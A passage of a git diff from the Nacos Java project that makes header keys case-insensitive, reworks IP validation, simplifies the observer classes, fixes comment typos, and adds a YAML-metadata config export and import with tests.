private final Map<String, List<String>> originalResponseHeader;
|
||||
|
||||
private Header() {
|
||||
header = new LinkedHashMap<String, String>();
|
||||
originalResponseHeader = new LinkedHashMap<String, List<String>>();
|
||||
header = new TreeMap<String, String>(String.CASE_INSENSITIVE_ORDER);
|
||||
originalResponseHeader = new TreeMap<String, List<String>>(String.CASE_INSENSITIVE_ORDER);
|
||||
addParam(HttpHeaderConsts.CONTENT_TYPE, MediaType.APPLICATION_JSON);
|
||||
addParam(HttpHeaderConsts.ACCEPT_CHARSET, "UTF-8");
|
||||
addParam(HttpHeaderConsts.ACCEPT_ENCODING, "gzip");
|
||||
@ -142,14 +142,13 @@ public class Header {
|
||||
*
|
||||
* <p>Currently only corresponds to the response header of JDK.
|
||||
*
|
||||
* @param headers original response header
|
||||
* @param key original response header key
|
||||
* @param values original response header values
|
||||
*/
|
||||
public void setOriginalResponseHeader(Map<String, List<String>> headers) {
|
||||
if (MapUtils.isNotEmpty(headers)) {
|
||||
this.originalResponseHeader.putAll(headers);
|
||||
for (Map.Entry<String, List<String>> entry : this.originalResponseHeader.entrySet()) {
|
||||
addParam(entry.getKey(), entry.getValue().get(0));
|
||||
}
|
||||
public void addOriginalResponseHeader(String key, List<String> values) {
|
||||
if (StringUtils.isNotEmpty(key)) {
|
||||
this.originalResponseHeader.put(key, values);
|
||||
addParam(key, values.get(0));
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -30,6 +30,6 @@ public interface Closeable {
|
||||
*
|
||||
* @throws NacosException exception.
|
||||
*/
|
||||
public void shutdown() throws NacosException;
|
||||
void shutdown() throws NacosException;
|
||||
|
||||
}
|
||||
|
@ -191,7 +191,7 @@ public final class CollectionUtils {
|
||||
*
|
||||
* @param coll collection
|
||||
* @param target target value
|
||||
* @param <T> Genreal Type
|
||||
* @param <T> General Type
|
||||
* @return true if contain, otherwise false
|
||||
*/
|
||||
public static <T> boolean contains(Collection<T> coll, T target) {
|
||||
@ -236,7 +236,7 @@ public final class CollectionUtils {
|
||||
* @param defaultValue default value
|
||||
* @param <T> General Type
|
||||
* @return the value to which the specified index , or {@code defaultValue} if this collection contains no value for
|
||||
* the index.
|
||||
* the index.
|
||||
*/
|
||||
public static <T> T getOrDefault(Collection<T> coll, int index, T defaultValue) {
|
||||
try {
|
||||
|
@ -17,7 +17,10 @@
|
||||
package com.alibaba.nacos.common.utils;
|
||||
|
||||
import java.util.AbstractSet;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Iterator;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
|
||||
/**
|
||||
@ -46,7 +49,11 @@ public class ConcurrentHashSet<E> extends AbstractSet<E> {
|
||||
|
||||
@Override
|
||||
public Iterator<E> iterator() {
|
||||
return map.keySet().iterator();
|
||||
List<E> list = new ArrayList<E>();
|
||||
for (Map.Entry<E, Boolean> entry : map.entrySet()) {
|
||||
list.add(entry.getKey());
|
||||
}
|
||||
return list.iterator();
|
||||
}
|
||||
|
||||
@Override
|
||||
|
@ -73,11 +73,7 @@ public class IPUtil {
|
||||
* @return boolean
|
||||
*/
|
||||
public static boolean isIPv4(String addr) {
|
||||
try {
|
||||
return InetAddress.getByName(addr).getAddress().length == IPV4_ADDRESS_LENGTH;
|
||||
} catch (UnknownHostException e) {
|
||||
return false;
|
||||
}
|
||||
return ipv4Pattern.matcher(addr).matches();
|
||||
}
|
||||
|
||||
/**
|
||||
@ -101,12 +97,7 @@ public class IPUtil {
|
||||
* @return boolean
|
||||
*/
|
||||
public static boolean isIP(String addr) {
|
||||
try {
|
||||
InetAddress.getByName(addr);
|
||||
return true;
|
||||
} catch (UnknownHostException e) {
|
||||
return false;
|
||||
}
|
||||
return isIPv4(addr) || isIPv6(addr);
|
||||
}
|
||||
|
||||
/**
|
||||
@ -148,9 +139,6 @@ public class IPUtil {
|
||||
throw new IllegalArgumentException("The IP address(\"" + str
|
||||
+ "\") is incorrect. If it is an IPv6 address, please use [] to enclose the IP part!");
|
||||
}
|
||||
if (!isIPv4(serverAddrArr[0])) {
|
||||
throw new IllegalArgumentException("The IPv4 address(\"" + serverAddrArr[0] + "\") is incorrect.");
|
||||
}
|
||||
}
|
||||
return serverAddrArr;
|
||||
}
|
||||
@ -174,9 +162,6 @@ public class IPUtil {
|
||||
Matcher m = ipv4Pattern.matcher(str);
|
||||
if (m.find()) {
|
||||
result = m.group();
|
||||
if (!isIPv4(result)) {
|
||||
result = "";
|
||||
}
|
||||
}
|
||||
}
|
||||
return result;
|
||||
|
@ -76,7 +76,7 @@ public class MD5Utils {
|
||||
}
|
||||
|
||||
/**
|
||||
* 将一个字节数组转化为可见的字符串.
|
||||
* Convert a byte array into a visible string.
|
||||
*/
|
||||
public static String encodeHexString(byte[] bytes) {
|
||||
int l = bytes.length;
|
||||
|
@ -31,8 +31,6 @@ public class Observable {
|
||||
|
||||
private volatile int observerCnt = 0;
|
||||
|
||||
private boolean alreadyAddObserver = false;
|
||||
|
||||
/**
|
||||
* Adds an observer to the set of observers for this object, provided that it is not the same as some observer
|
||||
* already in the set. The order in which notifications will be delivered to multiple observers is not specified.
|
||||
@ -45,10 +43,7 @@ public class Observable {
|
||||
Objects.requireNonNull(o, "Observer");
|
||||
obs.add(o);
|
||||
observerCnt++;
|
||||
if (!alreadyAddObserver) {
|
||||
notifyAll();
|
||||
}
|
||||
alreadyAddObserver = true;
|
||||
o.update(this);
|
||||
}
|
||||
|
||||
/**
|
||||
@ -66,25 +61,9 @@ public class Observable {
|
||||
* If this object has changed, as indicated by the {@code hasChanged} method, then notify all of its observers and
|
||||
* then call the {@code clearChanged} method to indicate that this object has no longer changed.
|
||||
*
|
||||
* <p>Each observer has its {@code update} method called with two arguments: this observable object and {@code
|
||||
* null}. In other words, this method is equivalent to:
|
||||
* <blockquote>{@code
|
||||
* notifyObservers(null)}</blockquote>
|
||||
* <p>Each observer has its {@code update} method called with one argument: this observable object.
|
||||
*/
|
||||
public void notifyObservers() {
|
||||
notifyObservers(null);
|
||||
}
|
||||
|
||||
/**
|
||||
* If this object has changed, as indicated by the {@code hasChanged} method, then notify all of its observers and
|
||||
* then call the {@code clearChanged} method to indicate that this object has no longer changed.
|
||||
*
|
||||
* <p>Each observer has its {@code update} method called with two arguments: this observable object and the {@code
|
||||
* arg} argument.
|
||||
*
|
||||
* @param arg any object.
|
||||
*/
|
||||
public void notifyObservers(Object arg) {
|
||||
synchronized (this) {
|
||||
/* We don't want the Observer doing callbacks into
|
||||
* arbitrary code while holding its own Monitor.
|
||||
@ -102,13 +81,9 @@ public class Observable {
|
||||
return;
|
||||
}
|
||||
clearChanged();
|
||||
if (!alreadyAddObserver) {
|
||||
ThreadUtils.objectWait(this);
|
||||
}
|
||||
}
|
||||
|
||||
for (Observer observer : obs) {
|
||||
observer.update(this, arg);
|
||||
observer.update(this);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -20,6 +20,7 @@ package com.alibaba.nacos.common.utils;
|
||||
* Obeserver.
|
||||
*
|
||||
* @author <a href="mailto:liaochuntao@live.com">liaochuntao</a>
|
||||
* @author xiweng.yy
|
||||
*/
|
||||
public interface Observer {
|
||||
|
||||
@ -27,9 +28,8 @@ public interface Observer {
|
||||
* This method is called whenever the observed object is changed. An application calls an {@code Observable}
|
||||
* object's {@code notifyObservers} method to have all the object's observers notified of the change.
|
||||
*
|
||||
* @param o the observable object.
|
||||
* @param arg an argument passed to the {@code notifyObservers} method.
|
||||
* @param o the observable object.
|
||||
*/
|
||||
void update(Observable o, Object arg);
|
||||
void update(Observable o);
|
||||
|
||||
}
|
||||
|
@ -14,19 +14,18 @@
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package com.alibaba.nacos.address;
|
||||
package com.alibaba.nacos.common.http.param;
|
||||
|
||||
import com.alibaba.nacos.common.utils.IPUtil;
|
||||
import org.junit.Test;
|
||||
|
||||
public class ParamCheckUtilTests {
|
||||
import static org.junit.Assert.assertEquals;
|
||||
|
||||
public class HeaderTest {
|
||||
|
||||
@Test
|
||||
public void checkIPs() {
|
||||
String[] ips = {"127.0.0.1"};
|
||||
System.out.println(IPUtil.checkIPs(ips));
|
||||
|
||||
String[] illlegalIps = {"127.100.19", "127.0.0.1"};
|
||||
System.err.println(IPUtil.checkIPs(illlegalIps));
|
||||
public void testHeaderKyeIgnoreCase() {
|
||||
Header header = Header.newInstance();
|
||||
header.addParam("Content-Encoding", "gzip");
|
||||
assertEquals("gzip", header.getValue("content-encoding"));
|
||||
}
|
||||
}
|
@ -33,6 +33,7 @@ public class IPUtilTest {
|
||||
Assert.assertFalse(IPUtil.isIPv4("[::1]"));
|
||||
Assert.assertFalse(IPUtil.isIPv4("asdfasf"));
|
||||
Assert.assertFalse(IPUtil.isIPv4("ffgertert"));
|
||||
Assert.assertFalse(IPUtil.isIPv4("127.100.19"));
|
||||
}
|
||||
|
||||
@Test
|
||||
@ -47,6 +48,7 @@ public class IPUtilTest {
|
||||
Assert.assertTrue(IPUtil.isIP("[::1]"));
|
||||
Assert.assertTrue(IPUtil.isIP("127.0.0.1"));
|
||||
Assert.assertFalse(IPUtil.isIP("er34234"));
|
||||
Assert.assertFalse(IPUtil.isIP("127.100.19"));
|
||||
}
|
||||
|
||||
@Test
|
||||
@ -92,6 +94,15 @@ public class IPUtilTest {
|
||||
checkSplitIPPortStr("[127.0.0.1]:88", true);
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testCheckIPs() {
|
||||
String[] ips = {"127.0.0.1"};
|
||||
Assert.assertEquals("ok", IPUtil.checkIPs(ips));
|
||||
|
||||
String[] illegalIps = {"127.100.19", "127.0.0.1"};
|
||||
Assert.assertEquals("illegal ip: 127.100.19", IPUtil.checkIPs(illegalIps));
|
||||
}
|
||||
|
||||
/**
|
||||
* checkSplitIpPortStr.
|
||||
* 2020/9/4 14:12
|
||||
|
@ -20,7 +20,7 @@
|
||||
<parent>
|
||||
<groupId>com.alibaba.nacos</groupId>
|
||||
<artifactId>nacos-all</artifactId>
|
||||
<version>1.4.1</version>
|
||||
<version>${revision}</version>
|
||||
</parent>
|
||||
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
@ -135,6 +135,10 @@
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-actuator</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.yaml</groupId>
|
||||
<artifactId>snakeyaml</artifactId>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
<build>
|
||||
<plugins>
|
||||
|
@ -61,7 +61,7 @@ public class CapacityManagementAspect {
|
||||
private PersistService persistService;
|
||||
|
||||
/**
|
||||
* Need to judge the size of content whether to exceed the limination.
|
||||
* Need to judge the size of content whether to exceed the limitation.
|
||||
*/
|
||||
@Around(SYNC_UPDATE_CONFIG_ALL)
|
||||
public Object aroundSyncUpdateConfigAll(ProceedingJoinPoint pjp, HttpServletRequest request,
|
||||
@ -74,7 +74,7 @@ public class CapacityManagementAspect {
|
||||
String betaIps = request.getHeader("betaIps");
|
||||
if (StringUtils.isBlank(betaIps)) {
|
||||
if (StringUtils.isBlank(tag)) {
|
||||
// do capacity management limination check for writting or updating config_info table.
|
||||
// do capacity management limitation check for writing or updating config_info table.
|
||||
if (persistService.findConfigInfo(dataId, group, tenant) == null) {
|
||||
// Write operation.
|
||||
return do4Insert(pjp, request, response, group, tenant, content);
|
||||
@ -87,7 +87,7 @@ public class CapacityManagementAspect {
|
||||
}
|
||||
|
||||
/**
|
||||
* Update operation: open the limination of capacity management and it will check the size of content.
|
||||
* Update operation: open the limitation of capacity management and it will check the size of content.
|
||||
*
|
||||
* @throws Throwable Throws Exception when actually operate.
|
||||
*/
|
||||
@ -109,11 +109,10 @@ public class CapacityManagementAspect {
|
||||
}
|
||||
|
||||
/**
|
||||
* Write operation.
|
||||
* Step 1: count whether to open the limination checking funtion for capacity management;
|
||||
* Step 2: open limination checking capacity management and check size of content and quota;
|
||||
* Write operation. Step 1: count whether to open the limitation checking function for capacity management; Step 2:
|
||||
* open limitation checking capacity management and check size of content and quota;
|
||||
*
|
||||
* @throws Throwable Expcetion.
|
||||
* @throws Throwable Exception.
|
||||
*/
|
||||
private Object do4Insert(ProceedingJoinPoint pjp, HttpServletRequest request, HttpServletResponse response,
|
||||
String group, String tenant, String content) throws Throwable {
|
||||
@ -143,7 +142,8 @@ public class CapacityManagementAspect {
|
||||
}
|
||||
|
||||
/**
|
||||
* The usage of capacity table for counting module will subtracte one whether open the limination check of capacity management.
|
||||
* The usage of capacity table for counting module will subtracte one whether open the limitation check of capacity
|
||||
* management.
|
||||
*/
|
||||
@Around(DELETE_CONFIG)
|
||||
public Object aroundDeleteConfig(ProceedingJoinPoint pjp, HttpServletRequest request, HttpServletResponse response,
|
||||
@ -162,7 +162,7 @@ public class CapacityManagementAspect {
|
||||
/**
|
||||
* Delete Operation.
|
||||
*
|
||||
* @throws Throwable Expcetion.
|
||||
* @throws Throwable Exception.
|
||||
*/
|
||||
private Object do4Delete(ProceedingJoinPoint pjp, HttpServletResponse response, String group, String tenant,
|
||||
ConfigInfo configInfo) throws Throwable {
|
||||
@ -181,7 +181,7 @@ public class CapacityManagementAspect {
|
||||
correctUsage(group, tenant, hasTenant);
|
||||
return pjp.proceed();
|
||||
}
|
||||
|
||||
|
||||
// The same record can be deleted concurrently. This interface can be deleted asynchronously(submit MergeDataTask
|
||||
// to MergeTaskProcessor for processing), It may lead to more than one decrease in usage.
|
||||
// Therefore, it is necessary to modify the usage job regularly.
|
||||
@ -221,7 +221,7 @@ public class CapacityManagementAspect {
|
||||
}
|
||||
|
||||
/**
|
||||
* Usage counting service: it will count whether the limination check funtion will be open.
|
||||
* Usage counting service: it will count whether the limitation check function will be open.
|
||||
*/
|
||||
private void insertOrUpdateUsage(String group, String tenant, CounterMode counterMode, boolean hasTenant) {
|
||||
try {
|
||||
@ -333,13 +333,13 @@ public class CapacityManagementAspect {
|
||||
if (capacity != null) {
|
||||
Integer maxSize = getMaxSize(isAggr, capacity);
|
||||
if (maxSize == 0) {
|
||||
// If there exists capacity info and maxSize = 0, then it uses maxSize limination default value to compare.
|
||||
// If there exists capacity info and maxSize = 0, then it uses maxSize limitation default value to compare.
|
||||
return isOverSize(group, tenant, currentSize, defaultMaxSize, hasTenant);
|
||||
}
|
||||
// If there exists capacity info, then maxSize!=0.
|
||||
return isOverSize(group, tenant, currentSize, maxSize, hasTenant);
|
||||
}
|
||||
// If there no exists capacity info, then it uses maxSize limination default value to compare.
|
||||
// If there no exists capacity info, then it uses maxSize limitation default value to compare.
|
||||
return isOverSize(group, tenant, currentSize, defaultMaxSize, hasTenant);
|
||||
}
|
||||
|
||||
@ -420,7 +420,7 @@ public class CapacityManagementAspect {
|
||||
}
|
||||
|
||||
/**
|
||||
* limit tyep.
|
||||
* limit type.
|
||||
*
|
||||
* @author Nacos.
|
||||
*/
|
||||
|
@ -267,4 +267,10 @@ public class Constants {
|
||||
* Specifies that reads wait without timeout.
|
||||
*/
|
||||
public static final String EXTEND_NEED_READ_UNTIL_HAVE_DATA = "00--0-read-join-0--00";
|
||||
|
||||
public static final String CONFIG_EXPORT_ITEM_FILE_SEPARATOR = "/";
|
||||
|
||||
public static final String CONFIG_EXPORT_METADATA = ".meta.yml";
|
||||
|
||||
public static final String CONFIG_EXPORT_METADATA_NEW = ".metadata.yml";
|
||||
}
|
||||
|
@ -90,7 +90,7 @@ public class CapacityController {
|
||||
}
|
||||
|
||||
/**
|
||||
* Modify group or capacity of tenant, and init record when capacity informations are still initial.
|
||||
* Modify group or capacity of tenant, and init record when capacity information are still initial.
|
||||
*/
|
||||
@PostMapping
|
||||
public RestResult<Boolean> updateCapacity(HttpServletResponse response,
|
||||
|
@ -23,6 +23,7 @@ import com.alibaba.nacos.auth.common.ActionTypes;
|
||||
import com.alibaba.nacos.common.model.RestResult;
|
||||
import com.alibaba.nacos.common.model.RestResultUtils;
|
||||
import com.alibaba.nacos.common.utils.MapUtils;
|
||||
import com.alibaba.nacos.common.utils.NamespaceUtil;
|
||||
import com.alibaba.nacos.config.server.auth.ConfigResourceParser;
|
||||
import com.alibaba.nacos.config.server.constant.Constants;
|
||||
import com.alibaba.nacos.config.server.controller.parameters.SameNamespaceCloneConfigBean;
|
||||
@ -30,6 +31,7 @@ import com.alibaba.nacos.config.server.model.ConfigAdvanceInfo;
|
||||
import com.alibaba.nacos.config.server.model.ConfigAllInfo;
|
||||
import com.alibaba.nacos.config.server.model.ConfigInfo;
|
||||
import com.alibaba.nacos.config.server.model.ConfigInfo4Beta;
|
||||
import com.alibaba.nacos.config.server.model.ConfigMetadata;
|
||||
import com.alibaba.nacos.config.server.model.GroupkeyListenserStatus;
|
||||
import com.alibaba.nacos.config.server.model.Page;
|
||||
import com.alibaba.nacos.config.server.model.SameConfigPolicy;
|
||||
@ -41,11 +43,12 @@ import com.alibaba.nacos.config.server.service.ConfigChangePublisher;
|
||||
import com.alibaba.nacos.config.server.service.ConfigSubService;
|
||||
import com.alibaba.nacos.config.server.service.repository.PersistService;
|
||||
import com.alibaba.nacos.config.server.service.trace.ConfigTraceService;
|
||||
import com.alibaba.nacos.config.server.utils.GroupKey;
|
||||
import com.alibaba.nacos.config.server.utils.MD5Util;
|
||||
import com.alibaba.nacos.config.server.utils.ParamUtils;
|
||||
import com.alibaba.nacos.config.server.utils.RequestUtil;
|
||||
import com.alibaba.nacos.common.utils.NamespaceUtil;
|
||||
import com.alibaba.nacos.config.server.utils.TimeUtils;
|
||||
import com.alibaba.nacos.config.server.utils.YamlParserUtil;
|
||||
import com.alibaba.nacos.config.server.utils.ZipUtils;
|
||||
import com.alibaba.nacos.sys.utils.InetUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
@ -79,6 +82,7 @@ import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Objects;
|
||||
import java.util.Set;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
/**
|
||||
@ -153,7 +157,7 @@ public class ConfigController {
|
||||
ParamUtils.checkParam(configAdvanceInfo);
|
||||
|
||||
if (AggrWhitelist.isAggrDataId(dataId)) {
|
||||
LOGGER.warn("[aggr-conflict] {} attemp to publish single data, {}, {}", RequestUtil.getRemoteIp(request),
|
||||
LOGGER.warn("[aggr-conflict] {} attempt to publish single data, {}, {}", RequestUtil.getRemoteIp(request),
|
||||
dataId, group);
|
||||
throw new NacosException(NacosException.NO_RIGHT, "dataId:" + dataId + " is aggr");
|
||||
}
|
||||
@ -185,7 +189,7 @@ public class ConfigController {
|
||||
}
|
||||
|
||||
/**
|
||||
* Get configure board infomation fail.
|
||||
* Get configure board information fail.
|
||||
*
|
||||
* @throws ServletException ServletException.
|
||||
* @throws IOException IOException.
|
||||
@ -492,11 +496,11 @@ public class ConfigController {
|
||||
// Fixed use of "\r\n" here
|
||||
.append(ci.getAppName()).append("\r\n");
|
||||
}
|
||||
String itemName = ci.getGroup() + "/" + ci.getDataId();
|
||||
String itemName = ci.getGroup() + Constants.CONFIG_EXPORT_ITEM_FILE_SEPARATOR + ci.getDataId();
|
||||
zipItemList.add(new ZipUtils.ZipItem(itemName, ci.getContent()));
|
||||
}
|
||||
if (metaData != null) {
|
||||
zipItemList.add(new ZipUtils.ZipItem(".meta.yml", metaData.toString()));
|
||||
zipItemList.add(new ZipUtils.ZipItem(Constants.CONFIG_EXPORT_METADATA, metaData.toString()));
|
||||
}
|
||||
|
||||
HttpHeaders headers = new HttpHeaders();
|
||||
@ -507,6 +511,52 @@ public class ConfigController {
|
||||
return new ResponseEntity<byte[]>(ZipUtils.zip(zipItemList), headers, HttpStatus.OK);
|
||||
}
|
||||
|
||||
/**
|
||||
* new version export config add metadata.yml file record config metadata.
|
||||
*
|
||||
* @param dataId dataId string value.
|
||||
* @param group group string value.
|
||||
* @param appName appName string value.
|
||||
* @param tenant tenant string value.
|
||||
* @param ids id list value.
|
||||
* @return ResponseEntity.
|
||||
*/
|
||||
@GetMapping(params = "exportV2=true")
|
||||
@Secured(action = ActionTypes.READ, parser = ConfigResourceParser.class)
|
||||
public ResponseEntity<byte[]> exportConfigV2(@RequestParam(value = "dataId", required = false) String dataId,
|
||||
@RequestParam(value = "group", required = false) String group,
|
||||
@RequestParam(value = "appName", required = false) String appName,
|
||||
@RequestParam(value = "tenant", required = false, defaultValue = StringUtils.EMPTY) String tenant,
|
||||
@RequestParam(value = "ids", required = false) List<Long> ids) {
|
||||
ids.removeAll(Collections.singleton(null));
|
||||
tenant = NamespaceUtil.processNamespaceParameter(tenant);
|
||||
List<ConfigAllInfo> dataList = persistService.findAllConfigInfo4Export(dataId, group, tenant, appName, ids);
|
||||
List<ZipUtils.ZipItem> zipItemList = new ArrayList<>();
|
||||
List<ConfigMetadata.ConfigExportItem> configMetadataItems = new ArrayList<>();
|
||||
for (ConfigAllInfo ci : dataList) {
|
||||
ConfigMetadata.ConfigExportItem configMetadataItem = new ConfigMetadata.ConfigExportItem();
|
||||
configMetadataItem.setAppName(ci.getAppName());
|
||||
configMetadataItem.setDataId(ci.getDataId());
|
||||
configMetadataItem.setDesc(ci.getDesc());
|
||||
configMetadataItem.setGroup(ci.getGroup());
|
||||
configMetadataItem.setType(ci.getType());
|
||||
configMetadataItems.add(configMetadataItem);
|
||||
String itemName = ci.getGroup() + Constants.CONFIG_EXPORT_ITEM_FILE_SEPARATOR + ci.getDataId();
|
||||
zipItemList.add(new ZipUtils.ZipItem(itemName, ci.getContent()));
|
||||
}
|
||||
ConfigMetadata configMetadata = new ConfigMetadata();
|
||||
configMetadata.setMetadata(configMetadataItems);
|
||||
|
||||
zipItemList.add(new ZipUtils.ZipItem(Constants.CONFIG_EXPORT_METADATA_NEW,
|
||||
YamlParserUtil.dumpObject(configMetadata)));
|
||||
HttpHeaders headers = new HttpHeaders();
|
||||
String fileName =
|
||||
EXPORT_CONFIG_FILE_NAME + DateFormatUtils.format(new Date(), EXPORT_CONFIG_FILE_NAME_DATE_FORMAT)
|
||||
+ EXPORT_CONFIG_FILE_NAME_EXT;
|
||||
headers.add("Content-Disposition", "attachment;filename=" + fileName);
|
||||
return new ResponseEntity<>(ZipUtils.zip(zipItemList), headers, HttpStatus.OK);
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute import and publish config operation.
|
||||
*
|
||||
@ -536,50 +586,23 @@ public class ConfigController {
|
||||
failedData.put("succCount", 0);
|
||||
return RestResultUtils.buildResult(ResultCodeEnum.NAMESPACE_NOT_EXIST, failedData);
|
||||
}
|
||||
|
||||
List<ConfigAllInfo> configInfoList = null;
|
||||
List<ConfigAllInfo> configInfoList = new ArrayList<>();
|
||||
List<Map<String, String>> unrecognizedList = new ArrayList<>();
|
||||
try {
|
||||
ZipUtils.UnZipResult unziped = ZipUtils.unzip(file.getBytes());
|
||||
ZipUtils.ZipItem metaDataZipItem = unziped.getMetaDataItem();
|
||||
Map<String, String> metaDataMap = new HashMap<>(16);
|
||||
if (metaDataZipItem != null) {
|
||||
String metaDataStr = metaDataZipItem.getItemData();
|
||||
String[] metaDataArr = metaDataStr.split("\r\n");
|
||||
for (String metaDataItem : metaDataArr) {
|
||||
String[] metaDataItemArr = metaDataItem.split("=");
|
||||
if (metaDataItemArr.length != 2) {
|
||||
failedData.put("succCount", 0);
|
||||
return RestResultUtils.buildResult(ResultCodeEnum.METADATA_ILLEGAL, failedData);
|
||||
}
|
||||
metaDataMap.put(metaDataItemArr[0], metaDataItemArr[1]);
|
||||
if (metaDataZipItem != null && Constants.CONFIG_EXPORT_METADATA_NEW.equals(metaDataZipItem.getItemName())) {
|
||||
// new export
|
||||
RestResult<Map<String, Object>> errorResult = parseImportDataV2(unziped, configInfoList,
|
||||
unrecognizedList, namespace);
|
||||
if (errorResult != null) {
|
||||
return errorResult;
|
||||
}
|
||||
}
|
||||
List<ZipUtils.ZipItem> itemList = unziped.getZipItemList();
|
||||
if (itemList != null && !itemList.isEmpty()) {
|
||||
configInfoList = new ArrayList<>(itemList.size());
|
||||
for (ZipUtils.ZipItem item : itemList) {
|
||||
String[] groupAdnDataId = item.getItemName().split("/");
|
||||
if (!item.getItemName().contains("/") || groupAdnDataId.length != 2) {
|
||||
failedData.put("succCount", 0);
|
||||
return RestResultUtils.buildResult(ResultCodeEnum.DATA_VALIDATION_FAILED, failedData);
|
||||
}
|
||||
String group = groupAdnDataId[0];
|
||||
String dataId = groupAdnDataId[1];
|
||||
String tempDataId = dataId;
|
||||
if (tempDataId.contains(".")) {
|
||||
tempDataId = tempDataId.substring(0, tempDataId.lastIndexOf(".")) + "~" + tempDataId
|
||||
.substring(tempDataId.lastIndexOf(".") + 1);
|
||||
}
|
||||
final String metaDataId = group + "." + tempDataId + ".app";
|
||||
ConfigAllInfo ci = new ConfigAllInfo();
|
||||
ci.setTenant(namespace);
|
||||
ci.setGroup(group);
|
||||
ci.setDataId(dataId);
|
||||
ci.setContent(item.getItemData());
|
||||
if (metaDataMap.get(metaDataId) != null) {
|
||||
ci.setAppName(metaDataMap.get(metaDataId));
|
||||
}
|
||||
configInfoList.add(ci);
|
||||
} else {
|
||||
RestResult<Map<String, Object>> errorResult = parseImportData(unziped, configInfoList, unrecognizedList,
|
||||
namespace);
|
||||
if (errorResult != null) {
|
||||
return errorResult;
|
||||
}
|
||||
}
|
||||
} catch (IOException e) {
|
||||
@ -587,7 +610,8 @@ public class ConfigController {
|
||||
LOGGER.error("parsing data failed", e);
|
||||
return RestResultUtils.buildResult(ResultCodeEnum.PARSING_DATA_FAILED, failedData);
|
||||
}
|
||||
if (configInfoList == null || configInfoList.isEmpty()) {
|
||||
|
||||
if (CollectionUtils.isEmpty(configInfoList)) {
|
||||
failedData.put("succCount", 0);
|
||||
return RestResultUtils.buildResult(ResultCodeEnum.DATA_EMPTY, failedData);
|
||||
}
|
||||
@ -605,9 +629,160 @@ public class ConfigController {
|
||||
requestIpApp, time.getTime(), InetUtils.getSelfIP(),
|
||||
ConfigTraceService.PERSISTENCE_EVENT_PUB, configInfo.getContent());
|
||||
}
|
||||
// unrecognizedCount
|
||||
if (!unrecognizedList.isEmpty()) {
|
||||
saveResult.put("unrecognizedCount", unrecognizedList.size());
|
||||
saveResult.put("unrecognizedData", unrecognizedList);
|
||||
}
|
||||
return RestResultUtils.success("导入成功", saveResult);
|
||||
}
|
||||
|
||||
/**
|
||||
* old import config.
|
||||
*
|
||||
* @param unziped export file.
|
||||
* @param configInfoList parse file result.
|
||||
* @param unrecognizedList unrecognized file.
|
||||
* @param namespace import namespace.
|
||||
* @return error result.
|
||||
*/
|
||||
private RestResult<Map<String, Object>> parseImportData(ZipUtils.UnZipResult unziped,
|
||||
List<ConfigAllInfo> configInfoList, List<Map<String, String>> unrecognizedList, String namespace) {
|
||||
ZipUtils.ZipItem metaDataZipItem = unziped.getMetaDataItem();
|
||||
|
||||
Map<String, String> metaDataMap = new HashMap<>(16);
|
||||
if (metaDataZipItem != null) {
|
||||
// compatible all file separator
|
||||
String metaDataStr = metaDataZipItem.getItemData().replaceAll("[\r\n]+", "|");
|
||||
String[] metaDataArr = metaDataStr.split("\\|");
|
||||
Map<String, Object> failedData = new HashMap<>(4);
|
||||
for (String metaDataItem : metaDataArr) {
|
||||
String[] metaDataItemArr = metaDataItem.split("=");
|
||||
if (metaDataItemArr.length != 2) {
|
||||
failedData.put("succCount", 0);
|
||||
return RestResultUtils.buildResult(ResultCodeEnum.METADATA_ILLEGAL, failedData);
|
||||
}
|
||||
metaDataMap.put(metaDataItemArr[0], metaDataItemArr[1]);
|
||||
}
|
||||
}
|
||||
|
||||
List<ZipUtils.ZipItem> itemList = unziped.getZipItemList();
|
||||
if (itemList != null && !itemList.isEmpty()) {
|
||||
for (ZipUtils.ZipItem item : itemList) {
|
||||
String[] groupAdnDataId = item.getItemName().split(Constants.CONFIG_EXPORT_ITEM_FILE_SEPARATOR);
|
||||
if (groupAdnDataId.length != 2) {
|
||||
Map<String, String> unrecognizedItem = new HashMap<>(2);
|
||||
unrecognizedItem.put("itemName", item.getItemName());
|
||||
unrecognizedList.add(unrecognizedItem);
|
||||
continue;
|
||||
}
|
||||
String group = groupAdnDataId[0];
|
||||
String dataId = groupAdnDataId[1];
|
||||
String tempDataId = dataId;
|
||||
if (tempDataId.contains(".")) {
|
||||
tempDataId = tempDataId.substring(0, tempDataId.lastIndexOf(".")) + "~" + tempDataId
|
||||
.substring(tempDataId.lastIndexOf(".") + 1);
|
||||
}
|
||||
final String metaDataId = group + "." + tempDataId + ".app";
|
||||
ConfigAllInfo ci = new ConfigAllInfo();
|
||||
ci.setGroup(group);
|
||||
ci.setDataId(dataId);
|
||||
ci.setContent(item.getItemData());
|
||||
if (metaDataMap.get(metaDataId) != null) {
|
||||
ci.setAppName(metaDataMap.get(metaDataId));
|
||||
}
|
||||
ci.setTenant(namespace);
|
||||
configInfoList.add(ci);
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* new version import config add .metadata.yml file.
|
||||
*
|
||||
* @param unziped export file.
|
||||
* @param configInfoList parse file result.
|
||||
* @param unrecognizedList unrecognized file.
|
||||
* @param namespace import namespace.
|
||||
* @return error result.
|
||||
*/
|
||||
private RestResult<Map<String, Object>> parseImportDataV2(ZipUtils.UnZipResult unziped,
|
||||
List<ConfigAllInfo> configInfoList, List<Map<String, String>> unrecognizedList, String namespace) {
|
||||
ZipUtils.ZipItem metaDataItem = unziped.getMetaDataItem();
|
||||
String metaData = metaDataItem.getItemData();
|
||||
Map<String, Object> failedData = new HashMap<>(4);
|
||||
|
||||
ConfigMetadata configMetadata = YamlParserUtil.loadObject(metaData, ConfigMetadata.class);
|
||||
